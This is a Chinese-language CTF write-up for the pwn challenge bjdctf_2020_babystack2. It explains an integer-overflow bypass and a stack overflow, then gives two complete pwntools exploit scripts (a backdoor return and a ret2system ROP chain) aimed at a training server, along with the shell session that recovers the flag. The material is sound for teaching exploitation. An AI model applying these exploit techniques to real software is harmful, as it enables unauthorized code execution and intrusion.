bjdctf_2020_babystack2 1
首先检查一下文件:
C:\Users\A\Downloads>checksec bjdctf_2020_babystack2
[*] 'C:\\Users\\A\\Downloads\\bjdctf_2020_babystack2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- 64位程序,小端序
- GOT只读
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
简单运行一下程序:

看一下main函数:

根据图中这几个,可以看出,这是一个栈溢出 + 整数溢出漏洞的题。
- 垃圾数据长度:0x10 + 8
- 整数溢出:size_t相当于unsigned int类型,即无符号类型,其取最大值0xffffffff(即4294967295)时,转成int类型时,取最小值-1。就可以绕过。
接下来我们查找一下ret,以防万一有栈对齐
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary bjdctf_2020_babystack2 --only "pop|ret"
Gadgets information
============================================================
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400599 : ret
Unique gadgets found: 11
这里我们用:
0x0000000000400599 : ret
解法1:后门函数
最简单的做法,看到程序里有个后门函数:backdoor()

from pwn import *
#context.log_level = 'debug'
file = "./bjdctf_2020_babystack2"
elf = ELF(file)
backdoor = elf.symbols["backdoor"]
offset = 0x10 + 8
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",28836)
pay = b'4294967295'
io.recvuntil(b"name:\n")
io.sendline(pay)
# 这里远程可以直接打,但我本地kali打需要有ret栈对齐。因此要看环境。
pay = b'a' * offset + p64(backdoor)
io.recvuntil(b'name?\n')
io.send(pay)
io.interactive()
解法2:ROP构造
这个其实就是自己构造system函数,没啥好说的。只是需要注意这个打远程需要ret进行栈对齐。
from pwn import *
#context.log_level = 'debug'
file = "./bjdctf_2020_babystack2"
elf = ELF(file)
system_plt = elf.plt["system"]
bin_sh = 0x4008b8
pop_rdi_ret = 0x400893
ret = 0x400599
offset = 0x10 + 8
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",28836)
pay = b'4294967295'
io.recvuntil(b"name:\n")
io.sendline(pay)
pay = b'a' * offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
io.recvuntil(b'name?\n')
io.send(pay)
io.interactive()
也可以获得flag:
点击查看代码
[+] Opening connection to node5.buuoj.cn on port 28836: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{37ff6211-3ad6-4058-8d1f-dcc37f57b4e1}
$
[*] Closed connection to node5.buuoj.cn port 28836
疑惑点
这里有个神奇的现象,看一下buf的栈:

会发现这里没有平时见到的s(我们平时默认保存bp的地方)。但这里垃圾数据长度仍然是0x10 + 8
因为dq是占8字节的,buf是数组,占12字节,加上中间空余的1字节db,合起来就是12 + 8 + 4 = 24 = 0x18 (字节)

浙公网安备 33010602011771号